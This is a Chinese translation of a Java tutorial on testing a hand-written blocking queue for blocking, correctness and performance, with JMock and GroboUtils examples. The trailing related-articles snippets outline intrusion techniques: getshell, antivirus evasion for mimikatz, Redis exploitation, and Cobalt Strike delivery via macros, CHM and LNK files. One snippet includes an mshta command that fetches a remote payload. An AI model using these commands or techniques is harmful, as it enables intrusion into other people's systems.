测试并发应用

本文是我们学院课程中名为Java Concurrency Essentials的一部分 。

在本课程中,您将深入探讨并发的魔力。 将向您介绍并发和并发代码的基础知识,并学习诸如原子性,同步和线程安全之类的概念。 在这里查看 !

目录

1.简介 2. SimpleBlockingQueue
2.1。 测试阻止操作 2.2。 测试正确性 2.3。 测试性能
3.测试框架
3.1。 JMock 3.2。 Grobo实用程序

1.简介

本文介绍了多线程应用程序的测试。 我们实现一个简单的阻塞队列,并在压力测试条件下测试其阻塞行为以及行为和性能。 最后,我们阐明了用于多线程类的单元测试的可用框架。

2. SimpleBlockingQueue

在本节中,我们将实现一个非常基本且简单的阻塞Queue 。 这个队列除了保留我们放入其中的元素并在调用get()时将它们还给他们之外,什么也没做。 在新元素可用之前, get()应该会阻塞。

显然, java.util.concurrent包已经提供了这样的功能,并且不需要再次实现它,但是出于演示目的,我们在这里这样做是为了展示如何测试这样的类。

作为队列的数据结构,我们从java.util包中选择一个标准的LinkedList 。 此列表未同步,调用其get()方法不会阻塞。 因此,我们必须同步访问列表,并且必须添加阻止功能。 后者可以通过一个简单的while()循环来实现,当队列为空时,该循环调用列表上的wait()方法。 如果队列不为空,则返回第一个元素:

public class SimpleBlockingQueue<T> {private List<T> queue = new LinkedList<T>();public int getSize() {synchronized(queue) {return queue.size();}}public void put(T obj) {synchronized(queue) {queue.add(obj);queue.notify();}}public T get() throws InterruptedException  {while(true) {synchronized(queue) {if(queue.isEmpty()) {queue.wait();} else {return queue.remove(0);}}}}
}

测试阻止操作

尽管此实现非常简单,但是测试所有功能(尤其是阻止功能)并不是那么容易。 当我们只在空队列上调用get()时,当前线程将被阻塞,直到另一个线程将新项插入队列中。 这意味着在单元测试中我们至少需要两个不同的线程。 当一个线程阻塞时,另一个线程等待特定的时间。 如果在此期间另一个线程不执行其他代码,则可以假定阻止功能正在运行。 检查阻塞线程是否不执行任何其他代码的一种方法是,在引发异常或执行get()调用后的行时,添加一些设置的布尔标志:

private static class BlockingThread extends Thread {private SimpleBlockingQueue queue;private boolean wasInterrupted = false;private boolean reachedAfterGet = false;private boolean throwableThrown;public BlockingThread(SimpleBlockingQueue queue) {this.queue = queue;}public void run() {try {try {queue.get();} catch (InterruptedException e) {wasInterrupted = true;}reachedAfterGet = true;} catch (Throwable t) {throwableThrown = true;}}public boolean isWasInterrupted() {return wasInterrupted;}public boolean isReachedAfterGet() {return reachedAfterGet;}public boolean isThrowableThrown() {return throwableThrown;}}

标志wasInterrupted指示阻塞线程是否被中断,标志标志reachedAfterGet显示执行了get之后的行,最后throwableThrown会告诉我们是否throwableThrown了任何类型的Throwable 。 使用这些标志的getter方法,我们现在可以编写一个单元测试,该单元测试首先创建一个空队列,启动BlockingThread ,等待一段时间,然后将新元素插入队列。

@Testpublic void testPutOnEmptyQueueBlocks() throws InterruptedException {final SimpleBlockingQueue queue = new SimpleBlockingQueue();BlockingThread blockingThread = new BlockingThread(queue);blockingThread.start();Thread.sleep(5000);assertThat(blockingThread.isReachedAfterGet(), is(false));assertThat(blockingThread.isWasInterrupted(), is(false));assertThat(blockingThread.isThrowableThrown(), is(false));queue.put(new Object());Thread.sleep(1000);assertThat(blockingThread.isReachedAfterGet(), is(true));assertThat(blockingThread.isWasInterrupted(), is(false));assertThat(blockingThread.isThrowableThrown(), is(false));blockingThread.join();}

在插入之前,所有标志都应为false。 如果是这样的话,我们把一个新的元素到队列中,检查标志reachedAfterGet设置为true。 所有其他标志仍应为false。 最后,我们可以join() blockingThread

测试正确性

先前的测试仅显示了如何测试阻塞操作。 更有趣的是真正的多线程测试用例,其中我们有多个线程在队列中添加元素,还有一堆工作线程从队列中检索这些值。 基本上,这意味着创建一些将新元素插入队列的生产者线程,并设置一堆调用get()的工作线程。

但是,我们如何知道工作线程从队列中获得了与生产者线程之前插入的元素完全相同的元素呢? 一种可能的解决方案是让第二个队列在其中基于某些唯一ID(例如UUID)添加和删除元素。 但是,由于我们处于多线程环境中,因此还必须同步对第二个队列的访问,并且某些唯一ID的创建也将强制进行某种同步。

更好的解决方案是一些无需任何额外同步即可实现的数学方法。 最简单的方法是使用整数值作为队列元素,这些值是从线程本地随机生成器中检索的。 特殊的类ThreadLocalRandom为每个线程管理一个随机生成器。 因此,我们没有任何同步开销。 生产者线程计算由它们插入的元素的总和,而工作线程也计算其本地和。 最后,将所有生产者线程的总和与所有消费者线程的总和进行比较。 如果相同,则可以假定我们很有可能已检索到之前插入的所有任务。

以下单元测试通过将使用者线程和生产者线程作为任务提交到固定线程池来实现这些想法:

@Testpublic void testParallelInsertionAndConsumption() throws InterruptedException, ExecutionException {final SimpleBlockingQueue<Integer> queue = new SimpleBlockingQueue<Integer>();ExecutorService threadPool = Executors.newFixedThreadPool(NUM_THREADS);final CountDownLatch latch = new CountDownLatch(NUM_THREADS);List<Future<Integer>> futuresPut = new ArrayList<Future<Integer>>();for (int i = 0; i < 3; i++) {Future<Integer> submit = threadPool.submit(new Callable<Integer>() {public Integer call() {int sum = 0;for (int i = 0; i < 1000; i++) {int nextInt = ThreadLocalRandom.current().nextInt(100);queue.put(nextInt);sum += nextInt;}latch.countDown();return sum;}});futuresPut.add(submit);}List<Future<Integer>> futuresGet = new ArrayList<Future<Integer>>();for (int i = 0; i < 3; i++) {Future<Integer> submit = threadPool.submit(new Callable<Integer>() {public Integer call() {int count = 0;try {for (int i = 0; i < 1000; i++) {Integer got = queue.get();count += got;}} catch (InterruptedException e) {}latch.countDown();return count;}});futuresGet.add(submit);}latch.await();int sumPut = 0;for (Future<Integer> future : futuresPut) {sumPut += future.get();}int sumGet = 0;for (Future<Integer> future : futuresGet) {sumGet += future.get();}assertThat(sumPut, is(sumGet));}

我们使用CountDownLatch来等待所有线程完成。 最后,我们可以计算所有提交和检索的整数的总和,并断言两者相等。

很难预测执行不同线程的顺序。 它取决于许多动态因素,例如操作系统处理的中断以及调度程序如何选择下一个要执行的线程。 为了实现更多的上下文切换,可以调用Thread.yield()方法。 这为调度程序提供了一个提示,即当前线程愿意让CPU支持其他线程。 如javadoc所述,这只是一个提示,即JVM可以完全忽略该提示并进一步执行当前线程。 但是出于测试目的,可以使用这种方法引入更多的上下文切换,从而引发竞争条件等。

测试性能

除了类的正确行为,另一方面是它的性能。 在许多实际应用中,性能是一项重要要求,因此必须进行测试。

我们可以利用ExecutorService设置不同数量的线程。 每个线程都应该将一个元素插入到我们的队列中,然后再从中获取它。 在外部循环中,我们增加线程数,以查看线程数如何影响吞吐量。

@Testpublic void testPerformance() throws InterruptedException {for (int numThreads = 1; numThreads < THREADS_MAX; numThreads++) {long startMillis = System.currentTimeMillis();final SimpleBlockingQueue<Integer> queue = new SimpleBlockingQueue<Integer>();ExecutorService threadPool = Executors.newFixedThreadPool(numThreads);for (int i = 0; i < numThreads; i++) {threadPool.submit(new Runnable() {public void run() {for (long i = 0; i < ITERATIONS; i++) {int nextInt = ThreadLocalRandom.current().nextInt(100);try {queue.put(nextInt);nextInt = queue.get();} catch (InterruptedException e) {e.printStackTrace();}}}});}threadPool.shutdown();threadPool.awaitTermination(5, TimeUnit.MINUTES);long totalMillis = System.currentTimeMillis() - startMillis;double throughput = (double)(numThreads * ITERATIONS * 2) / (double) totalMillis;System.out.println(String.format("%s with %d threads: %dms (throughput: %.1f ops/s)", LinkedBlockingQueue.class.getSimpleName(), numThreads, totalMillis, throughput));}}

为了了解我们的简单队列实现的性能,我们可以将其与JDK的实现进行比较。 一个候选的是LinkedBlockingQueue 。 它的两个方法put()take()工作方式与我们的实现类似,期望LinkedBlockingQueue有选择地受限制,因此必须跟踪所插入元素的数量,并在队列已满时让当前线程进入休眠状态。 此功能需要额外的簿记和插入操作检查。 另一方面,JDK实现不使用同步块,并且已经通过繁琐的性能测量来实现。

当我们使用LinkedBlockingQueue实现与上述相同的测试用例时,两个测试用例的输出如下:

图1

图1

该图清楚地表明,对于LinkedBlockingQueue实现,吞吐率(即每时间单位执行的操作数)几乎是其两倍。 但是它也表明,只有一个线程,两种实现每秒执行大约相同数量的操作。 添加更多线程可提高吞吐量,尽管曲线很快会针对其饱和值收敛。 添加更多线程不会再提高应用程序的性能。

3.测试框架

您可以查看可用的测试框架,而不必编写自己的框架来为应用程序实现多线程测试用例。 本节重点介绍其中两个:JMock和Grobo Utils。

JMock

为了进行压力测试,模拟框架JMock提供了Blitzer类。 该类实现的功能与我们在“测试正确性”部分中所做的类似,因为它在内部设置了一个ThreadPool向其提交执行某些特定操作的任务。 您提供要执行的任务/动作的数量以及构造函数的线程数量:

Blitzer blitzer = new Blitzer(25000, 6);

此实例具有方法blitz() ,您只需向其提供Runnable接口的实现:

@Testpublic void stressTest() throws InterruptedException {final SimpleBlockingQueue<Integer> queue = new SimpleBlockingQueue<Integer>();blitzer.blitz(new Runnable() {public void run() {try {queue.put(42);queue.get();} catch (InterruptedException e) {e.printStackTrace();}}});assertThat(queue.getSize(), is(0));}

因此,与使用ExecutorService相比, Blitzer类使压力测试的实现更加简单。

Grobo实用程序

Grobo Utils是一个框架,为测试多线程应用程序提供支持。 本文描述了该框架背后的思想。

与前面的示例相似,我们拥有类MultiThreadedTestRunner ,该类在内部构造线程池并以给定数量的Runnable实现作为单独的线程执行。 Runnable实例必须实现一个称为TestRunnable的特殊接口。 值得一提的是,它的唯一方法runTest()会引发异常。 这样,线程内引发的异常会影响测试结果。 当我们使用普通的ExecutorService时,情况并非如此。 这里的任务必须实现Runnable并且它的唯一方法run()不会引发任何异常。 这些任务中引发的异常会被吞没,并且不会破坏测试。

构造完MultiThreadedTestRunner之后,我们可以调用其runTestRunnables()方法并提供在测试失败之前应等待的毫秒数。 最后, assertThat()调用将验证队列再次为空,因为所有测试线程都已删除了先前添加的元素。

public class SimpleBlockingQueueGroboUtilTest {private static class MyTestRunnable extends TestRunnable {private SimpleBlockingQueue<Integer> queue;public MyTestRunnable(SimpleBlockingQueue<Integer> queue) {this.queue = queue;}@Overridepublic void runTest() throws Throwable {for (int i = 0; i < 1000000; i++) {this.queue.put(42);this.queue.get();}}}@Testpublic void stressTest() throws Throwable {SimpleBlockingQueue<Integer> queue = new SimpleBlockingQueue<Integer>();TestRunnable[] testRunnables = new TestRunnable[6];for (int i = 0; i < testRunnables.length; i++) {testRunnables[i] = new MyTestRunnable(queue);}MultiThreadedTestRunner mttr = new MultiThreadedTestRunner(testRunnables);mttr.runTestRunnables(2 * 60 * 1000);assertThat(queue.getSize(), is(0));}
}

翻译自: https://www.javacodegeeks.com/2015/09/testing-concurrent-applications.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358251.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

无忧企业系统的getshell

方法一&#xff1a;数据库备份 写入后进行数据库备份 路径 shell工具连接 方法二&#xff1a;修改允许上传后缀&#xff0c;直接上传马

如何使用FinalShell、FileZilla上传网站代码到服务器?这两个都是神器

这段时间想做一个导航网站来着,然后就简单写了一个网页,买了一个域名、一台ECS服务器,都是比较便宜的那种,https://www.aliyun.com/minisite/goods?userCode=1k1odmgm 这个学生或者新用户基本都是一折,还能玩得起。所有软件的安装除了选择安装路径,都可以无脑按安装。 …

神经网络:深度学习优化方法

1.有哪些方法能提升CNN模型的泛化能力 采集更多数据&#xff1a;数据决定算法的上限。 优化数据分布&#xff1a;数据类别均衡。 选用合适的目标函数。 设计合适的网络结构。 数据增强。 权值正则化。 使用合适的优化器等。 2.BN层面试高频问题大汇总 BN层解决了什么问…

PDF.js如何添加放大缩小的功能,转换成图片应该如何实现?

把官方的安装包搞下来,自己的PDF文件及index.html添加进去,上面的目录结构是未添加的,我先把PDF文件搞成canvas然后搞成图片,然后再图片上添加按钮对图片进行放大缩小操作,方便对用户行为进行录屏。 <!DOCTYPE HTML> <html data-dpr="1" style="…

mimikatz免杀过360和火绒

mimikatz mimikatz是一款能够从Windows认证&#xff08;LSASS&#xff09;的进程中获取内存&#xff0c;并且获取名闻密码和NTLM哈希值的工具&#xff0c;攻击者可以利用这种功能漫游内网。也可以通过明文密码或者hash值进行提权。这款工具机器出名所以被查杀的几率极高。 1、…

SVN:请求不到主机,应该如何解决?

连了公司的局域网&#xff0c;可能一个账号人多的缘故&#xff0c;给你们讲一下思路。确保一点在同一个局域网。 然后ping一下域名。也是不通的 把域名换成IP进行访问试试&#xff0c;这个检查一下路径没有问题即可。

Redis漏洞利用的4种方法

Redis简介 redis是一个key-value存储系统。和Memcached类似&#xff0c;它支持存储的value类型相对更多&#xff0c;包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash&#xff08;哈希类型&#xff09;。这些数据类型都支持push/pop、add/remov…

系统已有MYSQL环境,如何安装宝塔面板

最近一直想搞一个在线博客网站&#xff0c;把代码部署到服务器。 下载己经下载了宝塔的.exe文件,安装提示系统已经存在MYSQL环境&#xff0c;请用纯净系统安装。 因为我以前做java的&#xff0c;已经装了&#xff0c;现在把它卸载即可。 WINR打开注册表输入regedit。 删除HK…

宝塔命令号操作全-最实用的莫过于修改密码啦

连续输入五次密码错误&#xff0c;只能CMD进行操作啦。看上图。

swaks使用教程

Swaks基本用法&#xff1a; 1、swaks --to testqq.com 测试邮箱的连通性&#xff1b; 2、参数说明&#xff08;这里只是简单的罗列了一些&#xff0c;至于更加具体的内容可以使用–help进行查看了解&#xff09;&#xff1a; --from testqq.com //发件人邮箱&#xff1…

电脑win7支持的node.js版本

从官网看了都是最新的版本,我这电脑是win7的,最新版支持最低版本win8.1. 只能找一个支持win7、的node版本。 官网:https://nodejs.org/en/download/ 历史版本:https://nodejs.org/en/download/releases/ 建议打开图标下载,打开链接下载速度特别慢。 下载完成后直接傻瓜式安…

Office-DOC加载宏-上线CS

原理 将直接加载远程带有宏的恶意模版使用。 缺点 目标主机的网速决定了加载远程模版的速度。有可能文件打开的会特别慢(例如将远程模版放在github)&#xff0c;受害者可能在文件打开一半的时候强制关闭word。优点 因为是远程加载&#xff0c;所以免杀效果十分不错。基本不会…

电子书-CHM-上线CS

电子书-CHM-加载JS&PS-上线CS 1.对CS进行设置 服务端配置CS-客户端打开-攻击-钓鱼攻击-脚本web传递-配置选择监听器-设置端口-选择类型为power shell-点击开始-复制生成的利用代码 2.对当前.CHM电子书进行解压 进入文件后选择任意文件夹进入 3.这里演示&#xff1a;进入…

发布单机端DELPHI程序访问MySQL必备文件

如图: 将你的DELPHI程序和midas.dlllibmysql.dllDbxmys.dll 放在同一目录下即可.转载于:https://www.cnblogs.com/smartlittleant/p/4838327.html

java java se_Java SE 7、8、9 –推动Java前进

java java se今天&#xff08;注&#xff1a;2011年10月4日&#xff09;是主题演讲日。 JavaOne Keynote将于今早从上午8:30到10:30进行&#xff0c;而我的新闻通行证又一次让我很早就参加了。 因此&#xff0c;我有时间在所有关键球员准备就绪并可能感到紧张的同时为其拍摄一些…

利用快捷方式-LNK-上线CS

步骤: 1、生成&#xff1a;Attacks -> Packages -> Html Application 2、上传&#xff1a;Attacks——>Web Drive by——>Host file 3、执行&#xff1a;C:\Windows\System32\mshta.exe http://xx.xx.xx.xx:xx/x.ext 4、伪装&#xff1a; -创建快捷方式 -生成HTA并…

基本算法研究1-冒泡排序算法测试

基本算法研究1-冒泡排序算法测试 1、经典冒泡排序法基本原理 先看一个动态图&#xff0c;感觉比较形象&#xff1a; 冒泡排序&#xff08;Bubble Sort&#xff09;是一种简单的排序算法。默认是从小到大排序&#xff0c;即把最大的数据排在最后&#xff0c;相当于每次把最大数据…

CS-证书指纹修改

cobaltstrike.store是cobalt strike的证书文件&#xff0c;CS是java编写的&#xff0c;修改证书需要Java环境&#xff0c;搜索keytool,把证书复制到该目录进行操作&#xff0c;需要cmd以管理员权限才能生成成功。 证书默认密码&#xff1a;123456 查看证书指纹&#xff1a; key…

Java中的低延迟FIX引擎

总览 Chronicle FIX是我们的Low Latency FIX引擎和Java数据库。 是什么使它与众不同&#xff1f; 是为Java中的超低GC *设计的。 支持字符串和日期时间的方式可以最大程度地减少垃圾和开销。 可自定义为仅包含您期望的字段。 使用通常在二进制解析器和生成器中使用的优化&…

钓鱼文件名反转office远程模板

本文内容涉及程序/技术原理可能带有攻击性&#xff0c;仅用于安全研究和教学使用&#xff0c;务必在模拟环境下进行实验&#xff0c;请勿将其用于其他用途。因此造成的后果自行承担&#xff0c;如有违反国家法律则自行承担全部法律责任&#xff0c;与作者及分享者无关 0x01 件…